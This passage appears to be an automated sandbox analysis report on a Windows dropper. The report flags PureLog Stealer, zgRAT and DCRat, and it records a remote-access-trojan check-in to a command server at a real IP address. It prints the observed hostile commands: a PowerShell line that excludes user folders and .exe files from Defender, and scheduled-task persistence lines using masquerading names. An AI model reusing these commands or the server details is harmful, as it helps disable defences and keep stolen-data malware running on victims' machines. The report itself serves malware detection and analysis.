IMAGE_DIRECTORY_ENTRY_DEBUG	0x460e0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x46180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3de10	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3b000	0x4a0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x4a4ac	0x100	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3988e	0x39a00	b1e4251172e7243c7614dd9f08de8681	False	0.5453540197939263	data	6.464508992537505	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3b000	0x1118c	0x11200	31179600be0d23b2c74edff345900540	False	0.44718008667883213	data	5.216220468557472	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x4d000	0x1ef5c	0x1a00	148867e92396c2a403730872d91149f7	False	0.2765925480769231	DOS executable (block device driver o\3050)	3.1779391259225855	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6c000	0x2ab4	0x2c00	4914dd9fef7c92b1e7e7f57098d6f308	False	0.4796697443181818	data	5.3938448326175585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.didat	0x6f000	0x308	0x400	f83dedcddf9ceb5084b7159064aebc44	False	0.23828125	data	2.796337056872422	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x70000	0x15c	0x200	4a3322e97146b4fbd4ed6f2bbc580541	False	0.408203125	data	3.318036041719511	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x71000	0x4ffab	0x50000	025501bc3f5d0b1f870144ea838068cb	False	0.230029296875	data	3.927578152389179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc1000	0x938	0xa00	c057cd0b29d094da3cebf433be170d6d	False	0.498828125	data	5.228587706357198	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x716e0	0xb45	PNG image data, 93 x 302, 8-bit/color RGB, non-interlaced	English	United States	1.0027729636048528
PNG	0x72228	0x15a9	PNG image data, 186 x 604, 8-bit/color RGB, non-interlaced	English	United States	0.9363390441839495
RT_ICON	0x737d4	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.47832369942196534
RT_ICON	0x73d3c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.5410649819494585
RT_ICON	0x745e4	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, resolution 2834 x 2834 px/m, 256 important colors	English	United States	0.4933368869936034
RT_ICON	0x7548c	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024, resolution 2834 x 2834 px/m	English	United States	0.5390070921985816
RT_ICON	0x758f4	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 2834 x 2834 px/m	English	United States	0.41393058161350843
RT_ICON	0x7699c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 2834 x 2834 px/m	English	United States	0.3479253112033195
RT_ICON	0x78f44	0x3d71	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9809269502193401
RT_ICON	0x7ccb8	0x41c08	Device independent bitmap graphic, 256 x 510 x 32, image size 261120, resolution 5905 x 5905 px/m			0.14287836031486706
RT_DIALOG	0xbe8c0	0x286	data	English	United States	0.5092879256965944
RT_DIALOG	0xbeb48	0x13a	data	English	United States	0.60828025477707
RT_DIALOG	0xbec84	0xec	data	English	United States	0.6991525423728814
RT_DIALOG	0xbed70	0x12e	data	English	United States	0.5927152317880795
RT_DIALOG	0xbeea0	0x338	data	English	United States	0.45145631067961167
RT_DIALOG	0xbf1d8	0x252	data	English	United States	0.5757575757575758
RT_STRING	0xbf42c	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0xbf610	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0xbf7dc	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0xbf994	0x146	data	English	United States	0.5153374233128835
RT_STRING	0xbfadc	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0xbff48	0x166	data	English	United States	0.49162011173184356
RT_STRING	0xc00b0	0x152	data	English	United States	0.5059171597633136
RT_STRING	0xc0204	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0xc0310	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0xc03cc	0x1c0	data	English	United States	0.5178571428571429
RT_STRING	0xc058c	0x250	data	English	United States	0.44256756756756754
RT_GROUP_ICON	0xc07dc	0x14	data			1.25
RT_GROUP_ICON	0xc07f0	0x68	data	English	United States	0.7019230769230769
RT_MANIFEST	0xc0858	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
KERNEL32.dll	LocalFree, GetLastError, SetLastError, FormatMessageW, GetFileType, GetStdHandle, WriteFile, ReadFile, FlushFileBuffers, SetEndOfFile, SetFilePointer, SetFileTime, CloseHandle, CreateFileW, GetCurrentProcessId, CreateDirectoryW, RemoveDirectoryW, SetFileAttributesW, GetFileAttributesW, DeleteFileW, MoveFileW, FindClose, FindFirstFileW, FindNextFileW, GetVersionExW, GetModuleFileNameW, SetCurrentDirectoryW, GetCurrentDirectoryW, GetFullPathNameW, FoldStringW, GetModuleHandleW, FindResourceW, FreeLibrary, GetProcAddress, ExpandEnvironmentStringsW, ExitProcess, SetThreadExecutionState, Sleep, LoadLibraryW, GetSystemDirectoryW, CompareStringW, AllocConsole, FreeConsole, AttachConsole, WriteConsoleW, SystemTimeToTzSpecificLocalTime, TzSpecificLocalTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, FileTimeToSystemTime, GetCPInfo, IsDBCSLeadByte, MultiByteToWideChar, WideCharToMultiByte, GlobalAlloc, LockResource, GlobalLock, GlobalUnlock, GlobalFree, LoadResource, SizeofResource, GetTimeFormatW, GetDateFormatW, GetCurrentProcess, GetExitCodeProcess, WaitForSingleObject, GetLocalTime, GetTickCount, MapViewOfFile, UnmapViewOfFile, CreateFileMappingW, OpenFileMappingW, GetCommandLineW, SetEnvironmentVariableW, GetTempPathW, MoveFileExW, GetLocaleInfoW, GetNumberFormatW, SetFilePointerEx, GetConsoleMode, GetConsoleCP, HeapReAlloc, HeapSize, SetStdHandle, GetProcessHeap, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineA, RaiseException, GetSystemInfo, VirtualProtect, VirtualQuery, LoadLibraryExA, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, SetEvent, ResetEvent, WaitForSingleObjectEx, CreateEventW, IsDebuggerPresent, GetStartupInfoW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, RtlPcToFileHeader, RtlUnwindEx, EncodePointer, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, QueryPerformanceFrequency, GetModuleHandleExW, GetModuleFileNameA, GetACP, HeapFree, HeapAlloc, GetStringTypeW, LCMapStringW, FindFirstFileExA, FindNextFileA, IsValidCodePage, GetOEMCP
OLEAUT32.dll	SysAllocString, SysFreeString, VariantClear
gdiplus.dll	GdipCloneImage, GdipAlloc, GdipDisposeImage, GdipCreateBitmapFromStream, GdipCreateHBITMAPFromBitmap, GdiplusStartup, GdiplusShutdown, GdipFree

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/25/24-10:32:09.038045	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49730	80	192.168.2.4	176.123.168.151

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 25, 2024 10:32:08.796350002 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:32:09.037261963 CEST	80	49730	176.123.168.151	192.168.2.4
Apr 25, 2024 10:32:09.037359953 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:32:09.038044930 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:32:09.278606892 CEST	80	49730	176.123.168.151	192.168.2.4
Apr 25, 2024 10:32:09.279153109 CEST	80	49730	176.123.168.151	192.168.2.4
Apr 25, 2024 10:32:09.279195070 CEST	80	49730	176.123.168.151	192.168.2.4
Apr 25, 2024 10:32:09.279289007 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:32:09.457537889 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:32:09.740430117 CEST	80	49730	176.123.168.151	192.168.2.4
Apr 25, 2024 10:33:54.951847076 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:33:55.193032980 CEST	80	49730	176.123.168.151	192.168.2.4
Apr 25, 2024 10:33:55.193244934 CEST	49730	80	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:04.608644009 CEST	49738	443	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:04.608685017 CEST	443	49738	176.123.168.151	192.168.2.4
Apr 25, 2024 10:34:04.608769894 CEST	49738	443	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:04.628528118 CEST	49738	443	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:04.628551960 CEST	443	49738	176.123.168.151	192.168.2.4
Apr 25, 2024 10:34:05.121049881 CEST	443	49738	176.123.168.151	192.168.2.4
Apr 25, 2024 10:34:05.121325016 CEST	49738	443	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:05.126394987 CEST	49738	443	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:05.126413107 CEST	443	49738	176.123.168.151	192.168.2.4
Apr 25, 2024 10:34:05.126657963 CEST	443	49738	176.123.168.151	192.168.2.4
Apr 25, 2024 10:34:05.159436941 CEST	49738	443	192.168.2.4	176.123.168.151
Apr 25, 2024 10:34:05.159495115 CEST	443	49738	176.123.168.151	192.168.2.4
Apr 25, 2024 10:34:05.159593105 CEST	49738	443	192.168.2.4	176.123.168.151

HTTP Request Dependency Graph

176.123.168.151

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	176.123.168.151	80	8116	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe

Timestamp	Bytes transferred	Direction	Data
Apr 25, 2024 10:32:09.038044930 CEST	401	OUT	POST /4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 176.123.168.151 Content-Length: 344 Expect: 100-continue Connection: Keep-Alive
Apr 25, 2024 10:32:09.279153109 CEST	25	IN	HTTP/1.1 100 Continue
Apr 25, 2024 10:32:09.279195070 CEST	347	IN	HTTP/1.1 301 Moved Permanently Location: https://176.123.168.151/4track/TesttrafficEternal/private3/Secure7db/7private3/WordpressLocal/Windows/cpuvoiddbtraffic/2Base/ProviderExternalpipeJavascriptupdateSqldbasyncTemporary.php Date: Thu, 25 Apr 2024 08:32:09 GMT Connection: keep-alive Keep-Alive: timeout=5 Transfer-Encoding: chunked Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 25, 2024 10:32:09.457537889 CEST	344	OUT	Data Raw: 00 03 04 07 03 0f 01 02 05 06 02 01 02 07 01 06 00 03 05 0b 02 01 03 01 00 52 0a 02 04 04 01 52 0d 54 07 0a 01 07 04 04 0e 51 07 00 00 07 05 05 03 03 0c 5b 0e 00 06 0a 05 01 05 0c 06 56 05 0f 00 0a 0d 5b 05 01 06 02 0d 06 0e 50 0d 04 0c 05 05 51 Data Ascii: RRTQ[V[PQU]\L}Shcvvrj\vl@\|BbYwhkcw_oo`Yo`PDhmtcgpi_~V@A{mvL~b[

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
ZwResumeThread	INLINE	explorer.exe, winlogon.exe
NtDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
ZwDeviceIoControlFile	INLINE	explorer.exe, winlogon.exe
NtEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe
ZwEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
NtResumeThread	INLINE	explorer.exe, winlogon.exe
RtlGetNativeSystemInformation	INLINE	explorer.exe, winlogon.exe
NtQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
NtEnumerateValueKey	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFileEx	INLINE	explorer.exe, winlogon.exe
ZwQueryDirectoryFile	INLINE	explorer.exe, winlogon.exe

Processes

Process: explorer.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	10:31:53
Start date:	25/04/2024
Path:	C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\C792057CB761DA8872421A6C906C4481B260BDB5D27B8.exe"
Imagebase:	0x7ff7f4d60000
File size:	6'701'051 bytes
MD5 hash:	6ACBB1FB58DCCD74DB667187B22DE689
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	10:31:54
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\GargantuaN.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\GargantuaN.exe"
Imagebase:	0xd50000
File size:	2'289'873 bytes
MD5 hash:	B3CEE15E9FDDC0E7DC33069319B549D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000003.1637953778.0000000006D7B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000001.00000003.1638428127.00000000057FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Temp\GargantuaN.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 53%, ReversingLabs Detection: 53%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:31:54
Start date:	25/04/2024
Path:	C:\Users\user\AppData\Local\Temp\GargantuanS.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\GargantuanS.exe"
Imagebase:	0x7ff7a2250000
File size:	5'475'840 bytes
MD5 hash:	7A568EF3F46D369F3D3FFD68FDF68573
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 81%, ReversingLabs Detection: 61%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:31:54
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\PerfDll\c2HM4VxGuBBIXOzYQncd9IeSwfaF3.vbe"
Imagebase:	0x590000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:31:59
Start date:	25/04/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:31:59
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	10:32:00
Start date:	25/04/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\PerfDll\vvkzdvmSUM14jiAzc.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:32:00
Start date:	25/04/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:32:00
Start date:	25/04/2024
Path:	C:\PerfDll\hyperProviderSavesinto.exe
Wow64 process (32bit):	false
Commandline:	"C:\PerfDll/hyperProviderSavesinto.exe"
Imagebase:	0x7b0000
File size:	1'968'128 bytes
MD5 hash:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000008.00000000.1698928747.00000000007B2000.00000002.00000001.01000000.0000000C.sdmp, Author: Joe Security Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000008.00000002.1741648776.0000000012DCC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\PerfDll\hyperProviderSavesinto.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\PerfDll\hyperProviderSavesinto.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 88%, ReversingLabs Detection: 74%, Virustotal, Browse
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:32:02
Start date:	25/04/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:32:02
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 7 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:32:02
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:32:02
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 14 /tr "'C:\Windows\Provisioning\Packages\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Recovery\WmiPrvSE.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRf" /sc ONLOGON /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "KZcLqgnLvRfK" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe'" /rl HIGHEST /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\Recovery\RuntimeBroker.exe'" /f
Imagebase:	0x7ff76f990000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:32:03
Start date:	25/04/2024
Path:	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\KZcLqgnLvRf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\reference assemblies\Microsoft\Framework\KZcLqgnLvRf.exe"
Imagebase:	0xa40000
File size:	1'968'128 bytes
MD5 hash:	3997D7D058AF3C1B6C9ABB57F6FA1F2A
Has elevated privileges:	true
Has administrator privileges:	true
